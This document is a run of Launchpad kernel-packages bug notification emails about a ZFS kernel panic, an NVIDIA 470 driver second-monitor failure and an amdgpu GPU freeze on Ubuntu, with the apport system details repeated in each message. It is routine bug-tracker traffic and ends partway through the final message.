https://github.com/openzfs/zfs/issues/10971 - I was not experiencing the issue on 0.8.4-1ubuntu14 and fairly sure it was working on 0.8.4-1ubuntu15 but broken after upgrade to 0.8.4-1ubuntu16. I will reinstall those zfs-dkms versions to verify that. There were a few originating call stacks but the first one I hit was Call Trace: dump_stack+0x74/0x95 spl_dumpstack+0x29/0x2b [spl] spl_panic+0xd4/0xfc [spl] ? sa_cache_constructor+0x27/0x50 [zfs] ? _cond_resched+0x19/0x40 ? mutex_lock+0x12/0x40 ? dmu_buf_set_user_ie+0x54/0x80 [zfs] zfs_znode_sa_init+0xe0/0xf0 [zfs] zfs_znode_alloc+0x101/0x700 [zfs] ? arc_buf_fill+0x270/0xd30 [zfs] ? __cv_init+0x42/0x60 [spl] ? dnode_cons+0x28f/0x2a0 [zfs] ? _cond_resched+0x19/0x40 ? _cond_resched+0x19/0x40 ? mutex_lock+0x12/0x40 ? aggsum_add+0x153/0x170 [zfs] ? spl_kmem_alloc_impl+0xd8/0x110 [spl] ? arc_space_consume+0x54/0xe0 [zfs] ? dbuf_read+0x4a0/0xb50 [zfs] ? _cond_resched+0x19/0x40 ? mutex_lock+0x12/0x40 ? dnode_rele_and_unlock+0x5a/0xc0 [zfs] ? _cond_resched+0x19/0x40 ? mutex_lock+0x12/0x40 ? dmu_object_info_from_dnode+0x84/0xb0 [zfs] zfs_zget+0x1c3/0x270 [zfs] ? dmu_buf_rele+0x3a/0x40 [zfs] zfs_dirent_lock+0x349/0x680 [zfs] zfs_dirlook+0x90/0x2a0 [zfs] ? zfs_zaccess+0x10c/0x480 [zfs] zfs_lookup+0x202/0x3b0 [zfs] zpl_lookup+0xca/0x1e0 [zfs] path_openat+0x6a2/0xfe0 do_filp_open+0x9b/0x110 ? __check_object_size+0xdb/0x1b0 ? __alloc_fd+0x46/0x170 do_sys_openat2+0x217/0x2d0 ? do_sys_openat2+0x217/0x2d0 do_sys_open+0x59/0x80 __x64_sys_openat+0x20/0x30 To manage notifications about this bug go to: https://bugs.launchpad.net/zfs/+bug/1906476/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1943130] Re: [nvidia] PC doesn't send signal to the second monitor using nvidia-470 (but nvidia-460 works)
[Expired for nvidia-graphics-drivers-470 (Ubuntu) because there has been no activity for 60 days.] ** Changed in: nvidia-graphics-drivers-470 (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-hwe-5.11 in Ubuntu. https://bugs.launchpad.net/bugs/1943130 Title: [nvidia] PC doesn't send signal to the second monitor using nvidia-470 (but nvidia-460 works) Status in linux-hwe-5.11 package in Ubuntu: Expired Status in nvidia-graphics-drivers-470 package in Ubuntu: Expired Bug description: After turn on mu PC, it doesn't send signal to the second monitor. (with driver "nvidia-driver-470(proprietary tested)" After change it to: "nvidia-driver-460(proprietary)" problem solved. Looks like new kernel update have conflict with nvidia - 470 driver. (because yesterday it was fine but today is broken, and made me to change the driver) ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.11.0-34.36~20.04.1-generic 5.11.22 Uname: Linux 5.11.0-34-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: path was not a regular file. .proc.driver.nvidia.capabilities.mig: Error: path was not a regular file. .proc.driver.nvidia.gpus..2b.00.0: Error: path was not a regular file. .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.91.03 Fri Jul 2 06:04:10 UTC 2021 GCC version: gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04) ApportVersion: 2.20.11-0ubuntu27.18 Architecture: amd64 BootLog: Error: [Errno 13] Відмовлено у доступі: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Sep 9 15:15:39 2021 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu DkmsStatus: nvidia, 460.91.03, 5.11.0-34-generic, x86_64: installed GraphicsCard: NVIDIA Corporation Device [10de:2208] (rev a1) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Device [1043:8803] InstallationDate: Installed on 2021-08-31 (8 days ago) InstallationMedia: Ubuntu 20.04.3 LTS "Focal Fossa" - Release amd64 (20210819) MachineType: Micro-Star International Co., Ltd. MS-7C91 ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=uk_UA.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.11.0-34-generic root=UUID=1bb75479-3578-4389-a29e-40823860bbbc ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) acpidump: Error: command ['pkexec', '/usr/share/apport/dump_acpi_tables.py'] failed with exit code 126: Error executing command as another user: Request dismissed dmi.bios.date: 05/12/2021 dmi.bios.release: 5.17 dmi.bios.vendor: American Megatrends International, LLC. dmi.bios.version: A.60 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: MAG B550 TOMAHAWK (MS-7C91) dmi.board.vendor: Micro-Star International Co., Ltd. dmi.board.version: 2.0 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Micro-Star International Co., Ltd. dmi.chassis.version: 2.0 dmi.modalias: dmi:bvnAmericanMegatrendsInternational,LLC.:bvrA.60:bd05/12/2021:br5.17:svnMicro-StarInternationalCo.,Ltd.:pnMS-7C91:pvr2.0:skuTobefilledbyO.E.M.:rvnMicro-StarInternationalCo.,Ltd.:rnMAGB550TOMAHAWK(MS-7C91):rvr2.0:cvnMicro-StarInternationalCo.,Ltd.:ct3:cvr2.0: dmi.product.family: To be filled by O.E.M. dmi.product.name: MS-7C91 dmi.product.sku: To be filled by O.E.M. dmi.product.version: 2.0 dmi.sys.vendor: Micro-Star International Co., Ltd. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.105-3~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 21.0.3-0ubuntu0.3~20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.11-1ubuntu1~20.04.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-hwe-5.11/+bug/1943130/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1943130] Re: [nvidia] PC doesn't send signal to the second monitor using nvidia-470 (but nvidia-460 works)
[Expired for linux-hwe-5.11 (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux-hwe-5.11 (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-hwe-5.11 in Ubuntu. https://bugs.launchpad.net/bugs/1943130 Title: [nvidia] PC doesn't send signal to the second monitor using nvidia-470 (but nvidia-460 works) Status in linux-hwe-5.11 package in Ubuntu: Expired Status in nvidia-graphics-drivers-470 package in Ubuntu: Expired Bug description: After turn on mu PC, it doesn't send signal to the second monitor. (with driver "nvidia-driver-470(proprietary tested)" After change it to: "nvidia-driver-460(proprietary)" problem solved. Looks like new kernel update have conflict with nvidia - 470 driver. (because yesterday it was fine but today is broken, and made me to change the driver) ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: xorg 1:7.7+19ubuntu14 ProcVersionSignature: Ubuntu 5.11.0-34.36~20.04.1-generic 5.11.22 Uname: Linux 5.11.0-34-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.capabilities.gpu0: Error: path was not a regular file. .proc.driver.nvidia.capabilities.mig: Error: path was not a regular file. .proc.driver.nvidia.gpus..2b.00.0: Error: path was not a regular file. .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 460.91.03 Fri Jul 2 06:04:10 UTC 2021 GCC version: gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04) ApportVersion: 2.20.11-0ubuntu27.18 Architecture: amd64 BootLog: Error: [Errno 13] Відмовлено у доступі: '/var/log/boot.log' CasperMD5CheckResult: skip CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Sep 9 15:15:39 2021 DistUpgraded: Fresh install DistroCodename: focal DistroVariant: ubuntu DkmsStatus: nvidia, 460.91.03, 5.11.0-34-generic, x86_64: installed GraphicsCard: NVIDIA Corporation Device [10de:2208] (rev a1) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Device [1043:8803] InstallationDate: Installed on 2021-08-31 (8 days ago) InstallationMedia: Ubuntu 20.04.3 LTS "Focal Fossa" - Release amd64 (20210819) MachineType: Micro-Star International Co., Ltd. MS-7C91 ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=uk_UA.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.11.0-34-generic root=UUID=1bb75479-3578-4389-a29e-40823860bbbc ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) acpidump: Error: command ['pkexec', '/usr/share/apport/dump_acpi_tables.py'] failed with exit code 126: Error executing command as another user: Request dismissed dmi.bios.date: 05/12/2021 dmi.bios.release: 5.17 dmi.bios.vendor: American Megatrends International, LLC. dmi.bios.version: A.60 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: MAG B550 TOMAHAWK (MS-7C91) dmi.board.vendor: Micro-Star International Co., Ltd. dmi.board.version: 2.0 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Micro-Star International Co., Ltd. dmi.chassis.version: 2.0 dmi.modalias: dmi:bvnAmericanMegatrendsInternational,LLC.:bvrA.60:bd05/12/2021:br5.17:svnMicro-StarInternationalCo.,Ltd.:pnMS-7C91:pvr2.0:skuTobefilledbyO.E.M.:rvnMicro-StarInternationalCo.,Ltd.:rnMAGB550TOMAHAWK(MS-7C91):rvr2.0:cvnMicro-StarInternationalCo.,Ltd.:ct3:cvr2.0: dmi.product.family: To be filled by O.E.M. dmi.product.name: MS-7C91 dmi.product.sku: To be filled by O.E.M. dmi.product.version: 2.0 dmi.sys.vendor: Micro-Star International Co., Ltd. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.105-3~20.04.1 version.libgl1-mesa-dri: libgl1-mesa-dri 21.0.3-0ubuntu0.3~20.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.11-1ubuntu1~20.04.2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200226-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-hwe-5.11/+bug/1943130/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1949497] Re: [amdgpu] Screen freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout)
Thanks. Something I should note (here, because I don't know where else to put it) is that both my and this original poster's graphics cards use the GCN 1.0 architecture (according to https://en.wikipedia.org/wiki/Radeon_Rx_200_series#Mobile_models). This is the arch that only has pseudo support for the AMD-GPU driver: https://www.phoronix.com/scan.php?page=news_item=AMDGPU-Might-Drop- GCN-1.0. In my case I had to set a custom kernel param just to enable it, and the reason I did so is to get Vulkan support. I suspect the OP has done the same here. So it's still a new problem which is bad, but I suspect if I disable AMDGPU and go back to radeon then the problem will probably go away (in any kernel version). -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1949497 Title: [amdgpu] Screen freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout) Status in linux package in Ubuntu: Confirmed Bug description: When i try to run anything with my dGPU (Radeon R5 M430), application freezes. But when i set "power_dpm_state" to "battery", or amdgpu.dpm=0 in boot options, it runs fine. i get errors like this: [ 56.647827] [drm] PCIE gen 3 link speeds already enabled [ 56.649064] amdgpu :01:00.0: amdgpu: PCIE GART of 256M enabled (table at 0x00F4). [ 83.707076] [drm] PCIE gen 3 link speeds already enabled [ 83.708350] amdgpu :01:00.0: amdgpu: PCIE GART of 256M enabled (table at 0x00F4). [ 94.813212] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout, signaled seq=47, emitted seq=49 [ 94.814219] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process glmark2 pid 4471 thread glmark2:cs0 pid 4473 [ 94.815125] amdgpu :01:00.0: amdgpu: GPU recovery disabled. [ 95.069353] Asynchronous wait on fence :00:02.0:gnome-shell[1648]:3c6 timed out (hint:intel_atomic_commit_ready [i915]) [ 95.069353] Asynchronous wait on fence dma_fence_chain:unbound:1 timed out (hint:submit_notify [i915]) ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: xorg 1:7.7+22ubuntu2 Uname: Linux 5.15.0-051500-generic x86_64 ApportVersion: 2.20.11-0ubuntu71 Architecture: amd64 BootLog: Error: [Errno 13] Erişim engellendi: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Tue Nov 2 19:26:01 2021 DistUpgraded: Fresh install DistroCodename: impish DistroVariant: ubuntu DkmsStatus: v4l2loopback, 0.12.5, 5.13.0-20-generic, x86_64: installed v4l2loopback, 0.12.5, 5.15.0-051500-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Since before I upgraded GraphicsCard: Intel Corporation HD Graphics 620 [8086:5916] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company HD Graphics 620 [103c:81ee] Subsystem: Hewlett-Packard Company Sun XT [Radeon HD 8670A/8670M/8690M / R5 M330 / M430 / Radeon 520 Mobile] [103c:81ee] InstallationDate: Installed on 2021-10-29 (4 days ago) InstallationMedia: Ubuntu 21.10 "Impish Indri" - Release amd64 (20211012) MachineType: HP HP Notebook ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=tr_TR.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.15.0-051500-generic root=UUID=51509311-ce8a-48fb-9ece-8e018d63fe03 ro quiet splash radeon.si_support=0 amdgpu.si_support=1 vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/26/2020 dmi.bios.release: 15.49 dmi.bios.vendor: Insyde dmi.bios.version: F.49 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 81EE dmi.board.vendor: HP dmi.board.version: 62.29 dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 62.29 dmi.modalias: dmi:bvnInsyde:bvrF.49:bd06/26/2020:br15.49:efr62.29:svnHP:pnHPNotebook:pvrType1ProductConfigId:rvnHP:rn81EE:rvr62.29:cvnHP:ct10:cvrChassisVersion:skuX9Z24EA#AB8: dmi.product.family: 103C_5335KV HP Notebook dmi.product.name: HP Notebook dmi.product.sku: X9Z24EA#AB8 dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.107-8ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 21.2.2-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.13-1ubuntu1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2build1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1ubuntu2
[Kernel-packages] [Bug 1949497] Re: [amdgpu] Screen freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout)
Yes it appears to be a kernel issue. I don't know if downgrading (or upgrading) will fix it but that's definitely worth a try. See also https://gitlab.freedesktop.org/drm/amd/-/issues?scope=all=opened=%22ring+gfx+timeout%22 -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1949497 Title: [amdgpu] Screen freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout) Status in linux package in Ubuntu: Confirmed Bug description: When i try to run anything with my dGPU (Radeon R5 M430), application freezes. But when i set "power_dpm_state" to "battery", or amdgpu.dpm=0 in boot options, it runs fine. i get errors like this: [ 56.647827] [drm] PCIE gen 3 link speeds already enabled [ 56.649064] amdgpu :01:00.0: amdgpu: PCIE GART of 256M enabled (table at 0x00F4). [ 83.707076] [drm] PCIE gen 3 link speeds already enabled [ 83.708350] amdgpu :01:00.0: amdgpu: PCIE GART of 256M enabled (table at 0x00F4). [ 94.813212] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout, signaled seq=47, emitted seq=49 [ 94.814219] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process glmark2 pid 4471 thread glmark2:cs0 pid 4473 [ 94.815125] amdgpu :01:00.0: amdgpu: GPU recovery disabled. [ 95.069353] Asynchronous wait on fence :00:02.0:gnome-shell[1648]:3c6 timed out (hint:intel_atomic_commit_ready [i915]) [ 95.069353] Asynchronous wait on fence dma_fence_chain:unbound:1 timed out (hint:submit_notify [i915]) ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: xorg 1:7.7+22ubuntu2 Uname: Linux 5.15.0-051500-generic x86_64 ApportVersion: 2.20.11-0ubuntu71 Architecture: amd64 BootLog: Error: [Errno 13] Erişim engellendi: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Tue Nov 2 19:26:01 2021 DistUpgraded: Fresh install DistroCodename: impish DistroVariant: ubuntu DkmsStatus: v4l2loopback, 0.12.5, 5.13.0-20-generic, x86_64: installed v4l2loopback, 0.12.5, 5.15.0-051500-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Since before I upgraded GraphicsCard: Intel Corporation HD Graphics 620 [8086:5916] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company HD Graphics 620 [103c:81ee] Subsystem: Hewlett-Packard Company Sun XT [Radeon HD 8670A/8670M/8690M / R5 M330 / M430 / Radeon 520 Mobile] [103c:81ee] InstallationDate: Installed on 2021-10-29 (4 days ago) InstallationMedia: Ubuntu 21.10 "Impish Indri" - Release amd64 (20211012) MachineType: HP HP Notebook ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=tr_TR.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.15.0-051500-generic root=UUID=51509311-ce8a-48fb-9ece-8e018d63fe03 ro quiet splash radeon.si_support=0 amdgpu.si_support=1 vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/26/2020 dmi.bios.release: 15.49 dmi.bios.vendor: Insyde dmi.bios.version: F.49 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 81EE dmi.board.vendor: HP dmi.board.version: 62.29 dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 62.29 dmi.modalias: dmi:bvnInsyde:bvrF.49:bd06/26/2020:br15.49:efr62.29:svnHP:pnHPNotebook:pvrType1ProductConfigId:rvnHP:rn81EE:rvr62.29:cvnHP:ct10:cvrChassisVersion:skuX9Z24EA#AB8: dmi.product.family: 103C_5335KV HP Notebook dmi.product.name: HP Notebook dmi.product.sku: X9Z24EA#AB8 dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.107-8ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 21.2.2-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.13-1ubuntu1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2build1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1ubuntu2 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-1build1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1949497/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1949497] Re: [amdgpu] Screen freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout)
Do we know if this is kernel issue? Will downgrading the kernel fix it in the short term? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1949497 Title: [amdgpu] Screen freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout) Status in linux package in Ubuntu: Confirmed Bug description: When i try to run anything with my dGPU (Radeon R5 M430), application freezes. But when i set "power_dpm_state" to "battery", or amdgpu.dpm=0 in boot options, it runs fine. i get errors like this: [ 56.647827] [drm] PCIE gen 3 link speeds already enabled [ 56.649064] amdgpu :01:00.0: amdgpu: PCIE GART of 256M enabled (table at 0x00F4). [ 83.707076] [drm] PCIE gen 3 link speeds already enabled [ 83.708350] amdgpu :01:00.0: amdgpu: PCIE GART of 256M enabled (table at 0x00F4). [ 94.813212] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout, signaled seq=47, emitted seq=49 [ 94.814219] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process glmark2 pid 4471 thread glmark2:cs0 pid 4473 [ 94.815125] amdgpu :01:00.0: amdgpu: GPU recovery disabled. [ 95.069353] Asynchronous wait on fence :00:02.0:gnome-shell[1648]:3c6 timed out (hint:intel_atomic_commit_ready [i915]) [ 95.069353] Asynchronous wait on fence dma_fence_chain:unbound:1 timed out (hint:submit_notify [i915]) ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: xorg 1:7.7+22ubuntu2 Uname: Linux 5.15.0-051500-generic x86_64 ApportVersion: 2.20.11-0ubuntu71 Architecture: amd64 BootLog: Error: [Errno 13] Erişim engellendi: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Tue Nov 2 19:26:01 2021 DistUpgraded: Fresh install DistroCodename: impish DistroVariant: ubuntu DkmsStatus: v4l2loopback, 0.12.5, 5.13.0-20-generic, x86_64: installed v4l2loopback, 0.12.5, 5.15.0-051500-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Since before I upgraded GraphicsCard: Intel Corporation HD Graphics 620 [8086:5916] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company HD Graphics 620 [103c:81ee] Subsystem: Hewlett-Packard Company Sun XT [Radeon HD 8670A/8670M/8690M / R5 M330 / M430 / Radeon 520 Mobile] [103c:81ee] InstallationDate: Installed on 2021-10-29 (4 days ago) InstallationMedia: Ubuntu 21.10 "Impish Indri" - Release amd64 (20211012) MachineType: HP HP Notebook ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=tr_TR.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.15.0-051500-generic root=UUID=51509311-ce8a-48fb-9ece-8e018d63fe03 ro quiet splash radeon.si_support=0 amdgpu.si_support=1 vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg freeze UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/26/2020 dmi.bios.release: 15.49 dmi.bios.vendor: Insyde dmi.bios.version: F.49 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 81EE dmi.board.vendor: HP dmi.board.version: 62.29 dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.ec.firmware.release: 62.29 dmi.modalias: dmi:bvnInsyde:bvrF.49:bd06/26/2020:br15.49:efr62.29:svnHP:pnHPNotebook:pvrType1ProductConfigId:rvnHP:rn81EE:rvr62.29:cvnHP:ct10:cvrChassisVersion:skuX9Z24EA#AB8: dmi.product.family: 103C_5335KV HP Notebook dmi.product.name: HP Notebook dmi.product.sku: X9Z24EA#AB8 dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.107-8ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 21.2.2-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.13-1ubuntu1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-2build1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20200714-1ubuntu2 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.17-1build1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1949497/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1949497] Re: [amdgpu] Screen freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout)
** Summary changed: - [amdgpu] AMD R5 M430 dGPU freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout) + [amdgpu] Screen freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1949497 Title: [amdgpu] Screen freezes ([drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout) Status in linux package in Ubuntu: Confirmed Bug description: When i try to run anything with my dGPU (Radeon R5 M430), application freezes. But when i set "power_dpm_state" to "battery", or amdgpu.dpm=0 in boot options, it runs fine. i get errors like this: [ 56.647827] [drm] PCIE gen 3 link speeds already enabled [ 56.649064] amdgpu :01:00.0: amdgpu: PCIE GART of 256M enabled (table at 0x00F4). [ 83.707076] [drm] PCIE gen 3 link speeds already enabled [ 83.708350] amdgpu :01:00.0: amdgpu: PCIE GART of 256M enabled (table at 0x00F4). [ 94.813212] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* ring gfx timeout, signaled seq=47, emitted seq=49 [ 94.814219] [drm:amdgpu_job_timedout [amdgpu]] *ERROR* Process information: process glmark2 pid 4471 thread glmark2:cs0 pid 4473 [ 94.815125] amdgpu :01:00.0: amdgpu: GPU recovery disabled. [ 95.069353] Asynchronous wait on fence :00:02.0:gnome-shell[1648]:3c6 timed out (hint:intel_atomic_commit_ready [i915]) [ 95.069353] Asynchronous wait on fence dma_fence_chain:unbound:1 timed out (hint:submit_notify [i915]) ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: xorg 1:7.7+22ubuntu2 Uname: Linux 5.15.0-051500-generic x86_64 ApportVersion: 2.20.11-0ubuntu71 Architecture: amd64 BootLog: Error: [Errno 13] Erişim engellendi: '/var/log/boot.log' CasperMD5CheckResult: pass CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Tue Nov 2 19:26:01 2021 DistUpgraded: Fresh install DistroCodename: impish DistroVariant: ubuntu DkmsStatus: v4l2loopback, 0.12.5, 5.13.0-20-generic, x86_64: installed v4l2loopback, 0.12.5, 5.15.0-051500-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GpuHangFrequency: Continuously GpuHangReproducibility: Yes, I can easily reproduce it GpuHangStarted: Since before I upgraded GraphicsCard: Intel Corporation HD Graphics 620 [8086:5916] (rev 02) (prog-if 00 [VGA controller]) Subsystem: 